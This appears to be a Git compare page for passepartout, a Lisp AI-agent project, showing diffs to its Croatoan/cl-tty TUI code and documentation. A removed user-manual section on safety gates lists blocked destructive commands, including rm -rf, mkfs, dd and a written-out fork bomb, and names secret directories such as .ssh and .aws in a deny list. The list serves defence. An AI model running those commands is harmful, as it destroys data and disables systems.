amr/passepartout
1
0
Fork 0
Code Issues 15 Pull Requests 1 Actions Packages Projects Releases Wiki Activity

Compare commits

base: amr:feature/v0.8.0-minibuffer
Branches Tags
amr:main amr:feature/v0.8.0-minibuffer amr:refactor/cl-tty-tui amr:feat/dispatcher-rename
amr:v0.7.1 amr:test-hook-block3 amr:test-hook-block2 amr:test-hook-block amr:v0.7.0 amr:v0.6.0 amr:v0.5.0 amr:v0.4.0 amr:v0.3.3 amr:v0.3.2 amr:v0.3.1 amr:v0.3.0 amr:v0.2.1 amr:v0.1.0
..
compare: amr:refactor/cl-tty-tui
Branches Tags
amr:main amr:feature/v0.8.0-minibuffer amr:refactor/cl-tty-tui amr:feat/dispatcher-rename
amr:v0.7.1 amr:test-hook-block3 amr:test-hook-block2 amr:test-hook-block amr:v0.7.0 amr:v0.6.0 amr:v0.5.0 amr:v0.4.0 amr:v0.3.3 amr:v0.3.2 amr:v0.3.1 amr:v0.3.0 amr:v0.2.1 amr:v0.1.0

3 Commits
feature/v0 ... refactor/c

Author SHA1 Message Date
Hermes
edfcfcd7e1 docs: update v0.8.0+ roadmap for cl-tty, Emacs-style bottom panel 
- Sidebar: Croatoan window → cl-tty framebuffer draw-text
- Overlay mode: absolute-positioned ncurses → Emacs minibuffer-style
  bottom panel (shrink chat height, render in freed rows)
- Command palette: Croatoan window overlay → framebuffer bottom panel
- TrueColor: Croatoan set-rgb → cl-tty hex-to-rgb + SGR 38/48
- Tool viz: Croatoan init-pair/color-pair → cl-tty draw-text fg/bg
- Mouse: Croatoan mouse-enabled-p → cl-tty v1.1.0 SGR mouse parsing
 2026-05-12 22:47:42 +00:00
Hermes
e674dcb2e3 docs: mark all v0.7.3 cl-tty TUI migration items DONE 
All 8 roadmap items complete:
- .asd swapped :croatoan → :cl-tty
- Package cleaned in state.org
- Main loop rewritten (with-raw-terminal + with-terminal + framebuffer)
- View functions use cl-tty.backend:draw-text
- render-styled fixed (Croatoan references removed)
- Org artifacts cleaned from tangled lisp files
- Compilation verified (ql:quickload :passepartout/tui)
- Branch pushed to Gitea
 2026-05-12 21:35:47 +00:00
Hermes
757541c83b fix: close defun on-key with missing paren, complete cl-tty TUI migration 
- Added missing closing paren for defun on-key in org/channel-tui-main.org
  line 616 (was 7 trailing ), now 8)
- Replaced #\) character literal with (code-char 41) to avoid reader
  ambiguity with paren-delimiter counting
- All 3 TUI org files tangled and verified compilable
- passepartout/tui loads without errors under SBCL 2.5.2
 2026-05-12 21:35:14 +00:00
60 changed files with 4095 additions and 6040 deletions
Expand all files Collapse all files

1656
CHANGELOG.org
View File

File diff suppressed because it is too large Load Diff

2
docs/.#ROADMAP.org
View File

@@ -1 +1 @@
user@amr.1407003:1778162380
user@amr.38893:1778162380

791
docs/DESIGN_DECISIONS.org
View File

File diff suppressed because it is too large Load Diff

3025
docs/ROADMAP.org
View File

File diff suppressed because it is too large Load Diff

292
docs/USER_MANUAL.org
View File

@@ -24,11 +24,11 @@ This will:
If you already have Emacs installed, the installer skips it and uses your existing installation.
* Configuration
The system is configured via a ~.env~ file in the project root. Essential variables include:
The system is configured via a `.env` file in the project root. Essential variables include:
- ~OPENROUTER_API_KEY~: Your LLM provider key.
- ~PROVIDER_CASCADE~: The fallback order for LLM providers (e.g., ~openrouter,ollama,anthropic~).
- ~MEMEX_DIR~: The absolute path to your knowledge base (defaults to ~/memex~).
- `OPENROUTER_API_KEY`: Your LLM provider key.
- `PROVIDER_CASCADE`: The fallback order for LLM providers (e.g., `openrouter,ollama,anthropic`).
- `MEMEX_DIR`: The absolute path to your knowledge base (defaults to `~/memex`).
* Interacting with Passepartout
Because of the Unified Envelope Architecture, the kernel treats all clients as interchangeable. You must first boot the background daemon:
@@ -86,286 +86,8 @@ Each approval or denial teaches the Dispatcher — the rule counter in the statu
* The Memex Structure
Passepartout assumes a local folder structure representing your "Memex".
- Core memories and identities are mapped to Org-mode files.
- The ~Scribe~ background worker distills chronological logs into structured Zettelkasten notes.
- The ~Gardener~ continuously repairs broken links and flags orphaned nodes.
* How Safety Works
Passepartout enforces safety through ten deterministic gates. Every action the agent wants to take — reading a file, running a shell command, sending network traffic — passes through these gates before execution. Critically, all ten gates are pure Lisp functions: they cost zero LLM tokens to evaluate. Safety checking never touches your provider budget.
** The Ten Safety Gates
| Gate | What It Checks |
|------+----------------|
| Lisp syntax | Validates that any Lisp code is well-formed before evaluation |
| Secret file paths | Blocks reads from known secret directories (~.ssh~, ~.env~, ~.aws~, etc.) |
| Self-build core | Prevents modification of the agent's own source and build files |
| Secret content | Scans text output for API keys, tokens, or credential patterns |
| Vault secrets | Guards any secret stored in the encrypted vault |
| Privacy tags | Respects ~@privacy:~ annotations on memory objects and files |
| Privacy text leaks | Scans outgoing text for PII (emails, phone numbers, addresses) |
| Shell safety | Blocks destructive commands (~rm -rf~, ~:(){:|:&};:~, ~mkfs~, ~dd~) |
| Network exfiltration | Blocks outbound traffic carrying private data to unknown hosts |
| High-impact actions | Catches system-level changes (package installs, service restarts, mount) |
** Severity Tiers
Each gate assigns a severity to the action it inspects:
| Severity | Behavior |
|------------+-------------------------------------------------------|
| Catastrophic | Always blocked. No approval possible. |
| Dangerous | Requires HITL approval. Generates a Flight Plan. |
| Moderate | Allowed, but logged. The agent learns from the outcome. |
| Harmless | Always allowed. No logging overhead. |
** What Happens When an Action Is Blocked
When a gate blocks an action, the Dispatcher creates a Flight Plan — a structured record of what the agent wants to do, why it was blocked, and which gate triggered. The Flight Plan is presented to you for review. You can approve it (~/approve~), deny it (~/deny~), or ask the agent to clarify its intent (~/clarify~). Once you approve, the action executes immediately. Once you deny, the Dispatcher records the decision as a permanent rule and will never propose that action again.
* Understanding Context and Focus
Passepartout uses a foveal-peripheral context model, inspired by human vision. This is how the agent decides what to pay attention to in your Memex.
** The Three Levels of Attention
- ~/foveal/~ — What the agent reads deeply and reasons about right now. Anything you explicitly mention, plus the current focused project.
- ~/peripheral/~ — What the agent knows exists (titles, summaries, metadata) but does not read in detail. Everything in scope.
- ~/blind/~ — Outside scope. The agent cannot see or access it.
** Focus Commands
| Command | Effect |
|---------------------+---------------------------------------------------------|
| ~/focus <project>~ | Set the agent's foveal attention to a project |
| ~/scope memex~ | Expand scope to everything in your Memex |
| ~/scope session~ | Narrow scope to just the current conversation |
| ~/scope project~ | Narrow scope to the focused project only |
| ~/unfocus~ | Clear the foveal focus; the agent sees everything at peripheral level |
** The Focus Map
The status bar displays a focus map — a compact representation of what the agent is "looking at." Projects in foveal view are highlighted; peripheral projects are dimmed. When you change focus, the map updates in real time so you always know the agent's current attention budget.
* Skills and What They Do
Skills are hot-reloadable modules that extend the agent's capabilities. Unlike core system files, a bug in a skill degrades the agent but does not kill it — skills can be repaired by the agent itself. Skills are organized into categories by function:
** Core Pipeline
The agent's cognitive loop: Perceive (consume input) → Reason (think with the LLM) → Act (execute tools). This is the central nervous system of the agent.
** Security
~Dispatcher~, ~Policy~, ~Permissions~, ~Validator~, ~Vault~. These skills enforce the safety gates, manage approval workflows, encrypt secrets, and verify that every action conforms to the rules you have set.
** Channels
~TUI~, ~CLI~, ~Telegram~, ~Signal~, ~Discord~, ~Slack~, ~Shell~. Each channel is a separate skill that handles I/O for a specific interface. All channels are equal citizens — the agent treats a message from Telegram identically to one typed in the TUI.
** Programming
~Lisp~, ~Org~, literate tools, ~REPL~, standards libraries. These skills allow the agent to write, evaluate, and reason about Lisp code, manage Org-mode documents, and tangle literate programs into runnable source.
** Symbolic
~Awareness~, ~Scope~, ~Events~, ~Config~, ~Memory~, ~Identity~, ~Time~. These skills manage the agent's internal state: what it knows about itself, what it remembers, how it configures its behavior, and how it tracks time and events.
** Neuro
~Provider~, ~Router~, ~Explorer~. These skills manage the LLM backends. The Provider skill abstracts each LLM API; the Router decides which provider to use based on cost, latency, and availability; the Explorer discovers new providers.
** Embedding
Backends for semantic search and native inference. These skills enable the agent to embed text, search your Memex by meaning rather than exact keyword, and run local inference without network calls.
** Economics
~Tokenizer~, ~Cost Tracker~, ~Token Economics~. These skills count tokens, estimate costs before making LLM calls, track spending across providers, and enforce budget limits.
* The Tool System
The agent has ten cognitive tools — discrete actions it can take to interact with your environment. Each tool maps to a specific capability.
** Read-Only Tools
| Tool | What It Does |
|-------------------+---------------------------------------------|
| ~search-files~ | Search file contents with regex patterns |
| ~find-files~ | Find files by name using glob patterns |
| ~read-file~ | Read the contents of a file on disk |
| ~list-directory~ | List the contents of a directory |
| ~org-find-headline~ | Find a headline in an Org-mode file |
** Write Tools
| Tool | What It Does |
|-------------------+---------------------------------------------|
| ~write-file~ | Create or overwrite a file on disk |
| ~org-modify-file~ | Modify an Org-mode file structurally |
| ~run-shell~ | Execute a shell command |
| ~eval-form~ | Evaluate a Lisp expression |
| ~run-tests~ | Execute a test suite |
** Auto-Approval
Write tools are subject to safety-gate inspection. Read-only tools are auto-approved by default (though the agent still checks for secret-file reads). You can configure per-tool auto-approval in your ~.env~ file with the ~AUTO_APPROVE_TOOLS~ variable:
#+begin_src bash
# Auto-approve read-file and find-files (default)
AUTO_APPROVE_TOOLS=read-file,find-files,list-directory,search-files
#+end_src
* Cost Tracking
Every LLM call costs tokens, and tokens cost money. Passepartout tracks this transparently.
** Token Budgets
Set ~CONTEXT_MAX_TOKENS~ in your ~.env~ file to cap the total context window the agent may use per interaction:
#+begin_src bash
CONTEXT_MAX_TOKENS=128000
#+end_src
The agent will truncate older context rather than exceed this limit.
** Per-Call Cost Tracking
Before every LLM call, the Economics skill estimates the cost (prompt tokens + expected completion tokens) and checks it against your budget. After the call, it records actual usage. The status bar shows your session total.
** The ~/cost~ Command
Toggle cost display in the status bar with ~/cost~. When enabled, you'll see a running total like ~[$0.047]~ showing the estimated cost of the current session.
** Per-Provider Pricing
Different providers charge different rates. The Router skill is aware of this and will choose the cheapest viable provider for each call unless you pin a specific provider:
#+begin_src bash
# Pin to a specific provider
PROVIDER_CASCADE=anthropic
#+end_src
** Prompt Prefix Caching
Providers that support prefix caching (Claude via Anthropic, some OpenRouter models) automatically benefit from it. The agent reuses the system prompt prefix across calls, and the Economics skill tracks the cache-hit savings separately in the cost breakdown.
* Session Control
Passepartout maintains a session history with checkpointed memory snapshots. You can move backward and forward through your session state.
** Undo and Redo
| Command | Effect |
|--------------+----------------------------------------------------------|
| ~/undo~ | Restore the memory to the state before your last action |
| ~/redo~ | Re-apply the last undone action |
| ~/rewind <n>~ | Restore the memory to the state n actions ago |
** What Gets Restored
A session rewind restores three things: file changes (files written or modified are reverted), memory objects (the agent's internal knowledge), and TODO states (the roadmap and task tracking). This means you can safely let the agent explore and experiment — if it goes down a wrong path, rewind and redirect.
* Gate Trace Reference
Below every agent message in the TUI, you'll see colored lines representing the safety-gate trace for that message. These show you exactly which gates ran on the agent's actions and what happened.
| Symbol | Meaning |
|--------+------------------------------------------------------------|
| ~✓~ | Green — the gate passed. The action was allowed. |
| ~✗~ | Red — the gate blocked the action. The reason is shown. |
| ~→~ | Yellow — HITL approval required. A Flight Plan is pending. |
Press ~Ctrl+G~ to toggle gate trace visibility on and off. The most recent gate trace for your last interaction is always available via the ~/why~ command — type ~/why~ and the agent will display the full trace with explanations.
* Tag System
Passepartout uses an Org-mode tag system to annotate and control behavior. Tags are metadata appended to headlines and memory objects.
** Severity Tags
The ~@tag:severity~ tier controls how strictly the safety system handles a tagged item:
| Tag | Behavior |
|------------------+--------------------------------------------------------------|
| ~@tag:block~ | The tagged item is treated as catastrophic — always blocked |
| ~@tag:warn~ | The tagged item triggers HITL approval when accessed |
| ~@tag:log~ | Access is allowed but logged for audit |
** Tag Categories
Configure which tags trigger which behavior with the ~TAG_CATEGORIES~ environment variable:
#+begin_src bash
TAG_CATEGORIES=block:warn:log
#+end_src
** The ~/tags~ Command
Type ~/tags~ to list all tags currently active in the agent's scope, along with their severity levels and the files or memory objects they apply to.
* HITL Deep Dive
When the Safety system blocks an action, a structured workflow begins. Understanding this workflow helps you make informed approval decisions quickly.
** The Flight Plan Lifecycle
1. /Trigger/: A gate rates an action Dangerous or Catastrophic, or a ~@tag:warn~ tag is encountered.
2. /Plan/: The Dispatcher serializes the proposed action into a Flight Plan: what tool, what arguments, what file or command, which gate triggered.
3. /Display/: The TUI shows a yellow prompt with the Flight Plan token (~HITL-ab12~).
4. /Review/: Press ~Tab~ to expand the gate trace and see the full Flight Plan details.
5. /Decision/: You type ~/approve HITL-ab12~ or ~/deny HITL-ab12~.
6. /Execute or Discard/: Approved plans execute immediately. Denied plans are discarded.
7. /Learn/: The Dispatcher increments its rule counter and records the decision as a permanent rule. If you denied an action, the Dispatcher will never propose it again.
** Clarifying Questions
If you are unsure why the agent wants to perform an action, you can ignore the Flight Plan prompt. After three retries without a decision, the agent escalates by injecting a ~/clarify~ message into the pipeline, asking the agent to explain its intent in plain language. You can then approve or deny with full context.
** The Rule Counter
The status bar shows ~[Rules: N]~ — the number of permanent rules the Dispatcher has learned from your decisions. Each approval or denial is a learning event. Over time, the Dispatcher builds a personalized safety profile that reflects your preferences: which actions you always approve, which you always deny, and which you want to review case by case.
* TUI Keybinding Reference
The TUI supports a rich set of keyboard shortcuts for efficient interaction.
** Editing Keys
| Combo | Action |
|-----------+-------------------------------------------|
| ~Ctrl+D~ | Quit the TUI |
| ~Ctrl+U~ | Clear the current input line |
| ~Ctrl+W~ | Delete the word before the cursor |
| ~Ctrl+A~ | Move cursor to beginning of line (Home) |
| ~Ctrl+E~ | Move cursor to end of line |
| ~Ctrl+K~ | Delete from cursor to end of line |
| ~Ctrl+L~ | Redraw the screen |
| ~Ctrl+X+E~ | Open the current input in your external editor (~$EDITOR~) |
| ~Tab~ | Autocomplete commands, themes, and file paths |
** Navigation and Control
| Combo | Action |
|------------------+--------------------------------------------------|
| ~Ctrl+C~ | Interrupt (cascade: stop streaming → stop thinking → quit) |
| ~Ctrl+F~ | Search through message history |
| ~Ctrl+P~ | Open the command palette |
| ~Ctrl+G~ | Toggle gate trace visibility |
| ~Ctrl+X+B~ | Toggle the sidebar (focus map, memory browser) |
| ~Page Up~ | Scroll chat up by 10 lines |
| ~Page Down~ | Scroll chat down by 10 lines |
| ~Up Arrow~ | Previous input in command history |
| ~Down Arrow~ | Next input in command history |
** The Status Bar
The status bar at the bottom of the TUI shows the agent's current state at a glance. Each indicator has a specific meaning:
| Indicator | Meaning |
|------------------+--------------------------------------------------------------------|
| ~[Connected]~ | Green — daemon is reachable on port 9105. Gray — disconnected. |
| ~[Mode: TUI]~ | The current interaction mode (TUI, CLI, Telegram, etc.) |
| ~[Msg: 142]~ | Total messages in the current session |
| ~[↑ 12]~ | Scroll indicator — you are scrolled up 12 lines from the bottom |
| ~[◉]~ | Activity spinner — spinning means the agent is working |
| ~[⟳]~ | Streaming indicator — shown while the agent is generating text |
| ~[$0.047]~ | Session cost (visible when ~/cost~ is toggled on) |
| ~[Rules: 52]~ | Number of permanent HITL rules learned from your decisions |
| ~[prj:my-proj]~ | Current focused project name |
- The `Scribe` background worker distills chronological logs into structured Zettelkasten notes.
- The `Gardener` continuously repairs broken links and flags orphaned nodes.
* Deployment
@@ -458,4 +180,4 @@ Restores from a backup file. Run ~passepartout doctor~ afterward to verify integ
** Memory fails to load on startup
- Check ~/memory.snap~ exists and is valid S-expression format
- Run ~passepartout doctor~ to diagnose memory integrity
- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory
- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory

234
docs/cl-tty-migration-plan.org Normal file
View File

@@ -0,0 +1,234 @@
#+TITLE: cl-tty TUI Migration Plan
#+AUTHOR: Hermes
#+DATE: 2026-05-12
Croatoan is not working and passepartout's TUI needs a reliable rendering
backend. cl-tty was built for exactly this use case. This plan details the
migration from Croatoan (ncurses via CFFI) to cl-tty (pure CL, no FFI).
* Current Architecture (Croatoan)
3 org files, ~2K LOC total:
- **state.org (191 lines):** state plist, theme presets, event queue, helpers
- **main.org (1370 lines):** key dispatch, daemon protocol, main loop
- **view.org (480 lines):** render functions, markdown rendering, gate trace
Croatoan API calls used:
| Croatoan call | Purpose | Count |
|------------------------|----------------------------------|-------|
| ~with-screen~ | Terminal init (raw, no echo) | 1 |
| ~make-instance 'window~| Window creation for layout | ~10 |
| ~add-string~ | Render text w/ fg, bg, attrs | ~20 |
| ~get-char~ | Read keypress | 1 |
| ~code-key~/~key-name~ | Convert raw code → keyword | 2 |
| ~clear~ | Clear window contents | 3 |
| ~refresh~ | Flush window to terminal | ~8 |
| ~box~ | Draw border around window | 2 |
| ~width~/~height~ | Query window dimensions | ~6 |
| ~(setf cursor-position)~| Set cursor location | 1 |
| ~function-keys-enabled-p~| Enable function key codes | 2 |
| ~input-blocking~ | Non-blocking input mode | 2 |
* Migration Strategy: Option C (Hybrid)
Replace the rendering backend only. Keep passepartout's application logic
(state machine, event handlers, daemon protocol, markdown parser) intact.
Don't rewrite the event handling into cl-tty's component/keymap system.
Don't replace the state plist with cl-tty components.
Replace Croatoan window operations with cl-tty backend primitives.
**Why not pure component tree (Option B):**
The 1370-line event handler in main.org is deeply coupled to the plist state
model. Untangling it into cl-tty component event handlers would be churn
with no user-visible benefit. The markdown renderer, gate trace, search
mode, HITL panels, streaming text, and undo/redo are all app-specific logic
that cl-tty doesn't need to know about. Keep them as-is, just swap the
output path.
* Step-by-step Plan
**Step 1: Add cl-tty dependency (5 min)**
- Add ~:cl-tty~ to ~passepartout/tui~ system dependencies in .asd
- Remove ~:croatoan~ dependency
- Add cl-tty to Quicklisp/local-projects or install path
**Step 2: Replace ~with-screen~ with cl-tty init (30 min)**
Replace:
#+BEGIN_SRC lisp
(with-screen (scr :input-blocking nil :input-echoing nil :cursor-visible nil)
...)
#+END_SRC
With:
#+BEGIN_SRC lisp
(sb-posix:with-raw-terminal
(let* ((be (cl-tty.backend:detect-backend))
(w (nth-value 0 (cl-tty.backend:backend-size be)))
(h (nth-value 1 (cl-tty.backend:backend-size be))))
(cl-tty.backend:initialize-backend be)
(unwind-protect
(tui-loop be w h)
(cl-tty.backend:shutdown-backend be))))
#+END_SRC
**Step 3: Replace windows with cl-tty rendering (view.org, 2-3 hours)**
Replace Croatoan window operations in view-status, view-chat, view-input:
~add-string~ → ~cl-tty.backend:draw-text~
~box~ → ~cl-tty.backend:draw-border~
~clear~ → framebuffer clear or ~cl-tty.backend:backend-clear~
~refresh~ → framebuffer flush (~flush-framebuffer~)
Each render function (view-status, view-chat, view-input) takes:
- cl-tty backend instance (instead of Croatoan window)
- x/y/w/h region (instead of ~width~/~height~ on window)
**Step 4: Wire framebuffer diffing (view.org + main.org, 1 hour)**
Replace per-window ~clear~+~refresh~ with cl-tty's framebuffer:
1. Create framebuffer at terminal size
2. Each render function draws render commands into the framebuffer
3. Main loop calls ~flush-framebuffer~ which diffs and writes only changed cells
The existing dirty-flag system (~(st :dirty)~ as ~(list status chat input)~)
maps naturally: each dirty flag maps to which regions of the framebuffer
need rebuilding.
**Step 5: Replace input handling (main.org, 1 hour)**
Replace ~get-char~ + ~code-key~/~key-name~ conversion with ~cl-tty.input:read-event~:
- ~read-event~ returns structured ~key-event~ structs with ~:key~ and ~:modifiers~
- No manual integer → keyword conversion needed
- Arrow keys, Enter, Backspace, Tab, PageUp/Down all come as keywords
- Ctrl+letter codes come as ~(make-key-event :key 'a :ctrl t)~
Key mapping table:
| Croatoan code | Current convert | cl-tty event |
|---------------|-----------------|-------------------------|
| 263/127/8 | :backspace | ~(key :backspace)~ |
| 259 | :up | ~(key :up)~ |
| 258 | :down | ~(key :down)~ |
| 260 | :left | ~(key :left)~ |
| 261 | :right | ~(key :right)~ |
| 339 | :ppage | ~(key :page-up)~ |
| 338 | :npage | ~(key :page-down)~ |
| 13/10 | :enter | ~(key :enter)~ |
| 9 | :tab | ~(key :tab)~ |
| 27 | 27 | ~(key :escape)~ |
| 410 | KEY_RESIZE | (needs signal handler) |
| 21 (C-u) | 21 | ~(key #\u :ctrl t)~ |
| 1 (C-a) | 1 | ~(key #\a :ctrl t)~ |
| 5 (C-e) | 5 | ~(key #\e :ctrl t)~ |
Replace the ~cond~ dispatcher in ~on-key~: change integer checks to keyword
comparisons. The logic stays identical — only the key representation changes.
**Step 6: Handle SIGWINCH (main.org, 30 min)**
cl-tty doesn't have built-in resize handling. Add a ~sb-sys:with-deadline~
or SIGWINCH handler that sets a ~resize-pending~ flag. The main loop checks
this flag and calls ~backend-size~ to get new dimensions, then marks all
dirty flags.
Add to ~init-state~:
#+BEGIN_SRC lisp
:resize-pending nil
#+END_SRC
Add a SIGWINCH handler:
#+BEGIN_SRC lisp
(sb-sys:enable-interrupt sb-posix:sigwinch
(lambda () (setf (st :resize-pending) t)))
#+END_SRC
In the main loop, check before rendering:
#+BEGIN_SRC lisp
(when (st :resize-pending)
(setf (st :resize-pending) nil)
(multiple-value-setq (w h) (cl-tty.backend:backend-size be))
(setf (st :dirty) (list t t t)))
#+END_SRC
**Step 7: Tone down to 10fps (main.org, 5 min)**
The current 30fps (~(sleep 0.03)~) is overkill for a chat UI. Change to
~(sleep 0.1)~ for 10fps. The framebuffer only sends changes — idle frames
cost nothing.
**Step 8: Map theme colors (state.org, 30 min)**
passepartout has 27 semantic theme keys. Croatoan uses keyword colors
(~:green~, ~:red~, ~:cyan~, ~:yellow~, ~:magenta~, ~:blue~, ~:white~,
~:black~) while cl-tty uses hex strings (~"#00FF00"~) for truecolor or
named colors.
Solution: keep passepartout's ~*tui-theme*~ plist as-is. Change
~theme-color~ to return hex strings compatible with cl-tty:
#+BEGIN_SRC lisp
(defun theme-color-to-hex (role)
(let ((val (getf *tui-theme* role)))
(cond
((stringp val) val) ; already hex like "#ebdbb2"
((keywordp val) ; named Croatoan color → hex
(case val
(:green "#00FF00") (:red "#FF0000") (:cyan "#00FFFF")
(:yellow "#FFFF00") (:magenta "#FF00FF") (:blue "#0000FF")
(:white "#FFFFFF") (:black "#000000")
(t "#FFFFFF"))))))
#+END_SRC
The gruvbox and solarized presets already use hex strings — they work
directly with cl-tty. Only the dark and light presets use Croatoan keywords
and need mapping.
**Step 9: Remove Croatoan TUI system (5 min)**
The ~passepartout/tui~ system no longer needs ~:croatoan~. Update the
ASDF definition.
* What cl-tty Gains From This
This is the litmus test for cl-tty. If it can serve as the rendering
backend for a real application, it validates the architecture. Specific
needs that would drive cl-tty improvements:
1. **SIGWINCH handling** — cl-tty should provide a ~with-resize-handler~
macro or similar. Currently the application has to set this up manually.
2. **Framebuffer coordinate management** — the framebuffer API needs to
support partial region updates (the passepartout dirty flags map to
specific areas: status bar rows 0-2, chat rows 3 to h-2, input row h-1).
3. **Non-blocking read-event** — already supported via ~:timeout~ keyword
but should be documented as the main loop pattern.
* Files to Modify
| File | Change |
|-------------------------------|--------------------------------------|
| ~passepartout.asd~ | Add ~:cl-tty~, remove ~:croatoan~ |
| ~org/channel-tui-state.org~ | Package uses, theme-color returns hex|
| ~org/channel-tui-main.org~ | Replace main loop, input handling |
| ~org/channel-tui-view.org~ | Replace all Croatoan window ops |
* Verification
After each step, the TUI should:
1. Compile without Croatoan dependency
2. Start and show status bar, empty chat, input line
3. Accept keyboard input and display typed text
4. Connect to daemon and show messages
5. Support all keybindings (arrows, Ctrl, Tab, PageUp/Down)
6. Support resize via SIGWINCH
7. Render markdown (bold, code, URLs, code blocks)
8. Show gate traces with collapsible toggle
9. All view and markdown tests pass (test-char-width, parse-markdown-spans, etc.)

2
lisp/channel-cli.lisp
View File

@@ -2,7 +2,7 @@
(defun channel-cli-input (text)
"Processes raw text from the command line."
(stimulus-inject (list :type :EVENT
(inject-stimulus (list :type :EVENT
:payload (list :sensor :user-input :text text)
:meta (list :source :CLI))))

47
lisp/channel-tui-main.lisp
View File

@@ -1,9 +1,18 @@
(in-package :passepartout.channel-tui)
(defun on-key (ch)
(cond
;; v0.7.1: Esc — interrupt streaming
((and (eq ch :escape) (st :streaming-text))
(defun on-key (&rest args)
;; Normalize: get-char returns raw ncurses integer codes (e.g. 263 for
;; backspace). Croatoan's code-key + key-name convert them to keywords
;; so the cond below can use eq.
(let* ((raw (car args))
(ch (if (and (integerp raw) (> raw 255))
(let* ((k (code-key raw))
(name (and k (key-name k))))
(or name raw))
raw)))
(cond
;; v0.7.1: Esc — interrupt streaming
((and (eql ch 27) (st :streaming-text))
(send-daemon (list :type :event :payload '(:action :cancel-stream)))
(when (> (length (st :messages)) 0)
(let ((idx (1- (length (st :messages)))))
@@ -526,17 +535,17 @@
(input-delete-char)
(setf (st :dirty) (list nil nil t)))
;; Left arrow
((eq ch :left)
((or (eq ch :left) (eql ch 260))
(when (> (or (st :cursor-pos) 0) 0)
(decf (st :cursor-pos))
(setf (st :dirty) (list nil nil t))))
;; Right arrow
((eq ch :right)
((or (eq ch :right) (eql ch 261))
(when (< (or (st :cursor-pos) 0) (length (st :input-buffer)))
(incf (st :cursor-pos))
(setf (st :dirty) (list nil nil t))))
;; Up arrow
((eq ch :up)
((or (eq ch :up) (eql ch 259))
(let* ((h (st :input-history)) (p (st :input-hpos)))
(when (and h (< p (1- (length h))))
(incf (st :input-hpos))
@@ -544,7 +553,7 @@
(reverse (coerce (nth (st :input-hpos) h) 'list)))
(setf (st :dirty) (list nil nil t)))))
;; Down arrow
((eq ch :down)
((or (eq ch :down) (eql ch 258))
(when (> (st :input-hpos) 0)
(decf (st :input-hpos))
(let ((h (st :input-history)))
@@ -554,25 +563,23 @@
nil))
(setf (st :dirty) (list nil nil t)))))
;; PageUp — scroll back by page (10 lines)
((eq ch :ppage)
((or (eq ch :ppage) (eql ch 339))
(let ((max-offset (max 0 (- (length (st :messages)) 1))))
(setf (st :scroll-offset) (min max-offset (+ (st :scroll-offset) 10))))
(setf (st :dirty) (list nil t nil)))
;; PageDown — scroll forward by page
((eq ch :npage)
((or (eq ch :npage) (eql ch 338))
(setf (st :scroll-offset) (max 0 (- (st :scroll-offset) 10)))
(setf (st :dirty) (list nil t nil)))
;; Printable
(t
(let ((chr (typecase ch
(character ch)
((integer 32 126) (code-char ch))
(keyword (let ((s (string ch)))
(and (= (length s) 1) (char-downcase (char s 0)))))
(t nil))))
(let ((chr (typecase ch
(character ch)
(integer (code-char ch))
(t nil))))
(when (and chr (graphic-char-p chr))
(input-insert-char chr)
(setf (st :dirty) (list nil nil t)))))))
(setf (st :dirty) (list nil nil t))))))))
;; v0.7.2 — resolve-hitl-panel: marks panel as resolved after approve/deny
(defun resolve-hitl-panel (decision)
@@ -794,7 +801,7 @@
(let ((prev-fb (cl-tty.rendering:make-framebuffer w h))
(curr-fb (cl-tty.rendering:make-framebuffer w h)))
;; Initial render
(redraw curr-fb w h)
(redraw be curr-fb w h)
(cl-tty.rendering:flush-framebuffer prev-fb curr-fb be)
(rotatef prev-fb curr-fb)
(loop while (st :running) do
@@ -842,8 +849,8 @@
(add-msg :system "Search exited")))
(t (on-key ch)))))))
(when (or (first (st :dirty)) (second (st :dirty)) (third (st :dirty)))
(cl-tty.backend:backend-clear be)
(redraw curr-fb w h)
(cl-tty.backend:backend-clear curr-fb)
(redraw be curr-fb w h)
(cl-tty.rendering:flush-framebuffer prev-fb curr-fb be)
(rotatef prev-fb curr-fb))
(sleep 0.1))))

5
lisp/channel-tui-state.lisp
View File

@@ -30,7 +30,7 @@
:rule-count :cyan :focus-map :yellow
;; UI
:dim :white :highlight :cyan :accent :green)
"Color theme plist. 27 semantic keys → hex color strings.
"Color theme plist. 27 semantic keys → Croatoan color values.
See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
(defvar *tui-theme-presets*
@@ -126,9 +126,6 @@ See *tui-theme-presets* for named presets (dark, light, solarized, gruvbox).")
:collapsed-gates nil ; v0.7.2
:search-mode nil :search-query "" ; v0.7.2
:search-matches nil :search-match-idx 0
:sidebar-visible nil ; v0.8.0
:expand-tool-calls nil ; v0.8.0
:mcp-count 0 ; v0.8.0
:dirty (list nil nil nil))))
(defun now ()

58
lisp/channel-tui-view.lisp
View File

@@ -1,53 +1,25 @@
(in-package :passepartout.channel-tui)
(defun word-wrap (text width)
"Wrap TEXT to at most WIDTH columns. Splits on word boundaries.
Returns a list of strings, one per line."
(let ((lines nil))
(loop while (> (length text) width)
do (let ((break (or (position #\Space text :end width :from-end t)
width)))
(push (subseq text 0 break) lines)
(setf text (string-left-trim '(#\Space)
(subseq text break)))))
(push text lines)
(nreverse lines)))
(defun view-status (fb w)
(let* ((degraded (and (find-package :passepartout)
(boundp (find-symbol "*SYSTEM-HEALTH*" :passepartout))
(member (symbol-value (find-symbol "*SYSTEM-HEALTH*" :passepartout))
'(:degraded :unhealthy))))
(bg (if degraded :bright-yellow nil)))
;; Line 1: Connection, mode, msgs, scroll, rules, streaming/busy
(cl-tty.backend:draw-text fb 1 1
(format nil " Passepartout ~a [~a] msgs:~a scroll:~a Rules:~a~a"
(if (st :connected) "● Connected" "○ Disconnected")
(string-upcase (string (st :mode)))
(length (st :messages))
(if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
(or (st :rule-count) 0)
(if (st :streaming-text) " [streaming]"
(if (st :busy) " …thinking" "")))
(theme-color (if (st :connected) :connected :disconnected)) bg)
;; Line 2: Focus + Timestamp
(let ((line1 (format nil
" Passepartout ~a [~a] msgs:~a scroll:~a Rules:~a~a"
(if (st :connected) "● Connected" "○ Disconnected")
(string-upcase (string (st :mode)))
(length (st :messages))
(if (> (st :scroll-offset) 0) (format nil "~a↑" (st :scroll-offset)) "0")
(or (st :rule-count) 0)
(if (st :streaming-text) " [streaming]"
(if (st :busy) " …thinking" "")))))
(cl-tty.backend:draw-text fb 1 1 line1
(theme-color (if (st :connected) :connected :disconnected))
nil)
;; Second line: Focus map (left) + timestamp (right-aligned, v0.7.0)
